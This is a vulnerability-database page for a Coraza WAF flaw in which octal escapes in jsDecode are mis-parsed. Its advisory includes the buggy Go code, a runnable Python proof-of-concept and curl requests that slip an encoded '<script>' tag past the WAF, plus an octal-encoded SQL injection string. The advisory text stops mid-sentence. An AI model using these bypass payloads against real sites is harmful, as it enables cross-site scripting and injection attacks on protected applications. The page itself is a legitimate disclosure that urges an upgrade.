Skip to main content
VulnerabilityPublished

CVE-2026-104774: Coraza · jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass

Affects github.com/corazawaf/coraza/v3Source GCVE Database

0
Authoritative record:CVE-2026-104774· Medium 5.8

Not known to be exploited · CVSS 5.8 Medium : upgrade to 3.8.0 when convenient.

Data as of 26 Oct 2026, 13:47 UTC

CVSS 3.1 base score
5.8Medium
How severe the flaw is on the 0–10 CVSS scale.
EPSS
0.3% chance of exploitation in 30 days – higher than 25% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 3.8.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

Exploitation evidence

t = 0 is the CVE’s publication on cve.org

  1. Disclosed: evidence found.

    CVE published 12 Oct 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponised: evidence found.

    CISA SSVC: proof of concept public

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

Timeline

  1. CVE ID reserved

    by GitHub, Inc.

    , 10 days before disclosure

  2. CVE published

    on cve.org

    , t = 0

  3. CISA SSVC assessment

    proof of concept public

    , 20 hours after disclosure

  4. In Threat Radar

    record ingested

    , 14 days after disclosure

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

What to do

Upgrade github.com/corazawaf/coraza/v3 to 3.8.0.

Affected software

ProductAffectedFixed in
Gogithub.com/corazawaf/coraza/v3Affected
  • >=3.0.0 <3.8.0
Fixed in
  • 3.8.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary The `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled. Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected. ### Details Vulnerable code: `internal/transformations/js_decode.go:64-70.` ```go case (i+1 < inputLen) && isodigit(input[i+1]): /* \OOO (only one byte, \000 - \377) */ buf := make([]byte, 3) j := 0 for (i+1+j < inputLen) && (j < 3) { buf[j] = input[i+j] // this should be `input[i+1+j]` j++ if !isodigit(input[i+j]) { break } } ``` This is because, when entering octal mode, the loop variable `i` points to the backslash character `\`. Before entering octal mode, the pointer **does not** cross the backslash (unlike in the `\u` and `\x` cases, where `i+N` is used as the index). Line 65 uses `input[i+j]`, so when `j=0`, the backslash character itself is copied to `buf[0]`. The subsequent call to `strconv.ParseInt(string(buf), 8, 8)` will fail because `\` is not a valid octal digit; it therefore returns `0` and raises an error (which is silently suppressed by `_`), resulting in the loss of the bytes that were supposed to be decoded. For example, Input `\163`. The loop starts with `j=0`: `buf[0] = input[i+0] = ‘\’ ` (the backslash itself). The counter `j` is incremented to 1. Since `isodigit(input[i+1]) = isodigit(‘1’)` is true, the loop continues. When `j=1`: `buf[1] = input[i+1] = ‘1’`. The counter increments to 2; `isodigit(input[i+2]) = isodigit(‘6’)` is true. At this point, `j = 2`: `buf[2] = input[i+2] = ‘6’`. The counter increments to 3, at which point the loop condition `j < 3` is no longer satisfied. Final buffer: `buf = [‘\’, ‘1’, ‘6’]`. The buffer is truncated when `j = 2` (because `buf[0] = ‘\’ > ‘3’`), leaving `[‘\’, ‘1’]`. This error affects all octal escape sequences (from `\000` to `\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\377` is normally decoded as `\xff` or 255 ```go // Bug: buf = ['\', '3', '7'] to string(buf) = "\\37" nn, _ = strconv.ParseInt("\\37", 8, 8) // nn = 0 // Correct: buf = ['3', '7', '7'] = "377" nn, _ = strconv.ParseInt("377", 8, 8) // nn = 255 = 0xFF ``` ### PoC #### Test Environment Coraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded. #### PoC Executable Script ```python #!/usr/bin/env python3 import urllib.request, sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090" normal_url = f"{TARGET}/?q=%3Cscript%3E" octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E" print(f"[Normal XSS: {normal_url}") try: urllib.request.urlopen(normal_url) print(" Response: 200 ") except urllib.error.HTTPError as e: print(f" Response: {e.code}") print(f"\nBypass JS octal-escaped XSS: {octal_url}") try: urllib.request.urlopen(octal_url) print(" Response: 200 (BYPASS)") except urllib.error.HTTPError as e: print(f" Response: {e.code}") ``` output: ``` Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E Response: 403 Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E Response: 200 (BYPASS) ``` #### Proof - Normal Test ```bash curl -v -s "http://127.0.0.1:8090/?q=%3Cscript%3E" < HTTP/1.1 403 Forbidden < Date: Wed, 01 Jul 2026 16:09:04 GMT ``` - Bypass Test ``` curl -v -s "http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E" < HTTP/1.1 200 OK < Date: Wed, 01 Jul 2026 16:09:04 GMT < Content-Length: 39 < Hello world, transaction not disrupted. ``` - Log Proof ``` 2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id="<txid>" is_interrupted=false ``` ### Impact Attackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities. #### Real-world attack scenarios: **SQL injection bypass.** A rule using `t:jsDecode` received `\47\117\122\40\61\75\61` (i.e., `' OR 1=1`). This octal string decodes to `\0...`, so the rule did not match the SQL injection pattern. ### Affected Versions Coraza WAF v3.0.0 - v3.7.0 ### Resolution Fixed in `internal/transformations/js_decode.go`'s `\OOO` octal branch, plus two related issues found and fixed while

References

Community reviews

Loading reviews…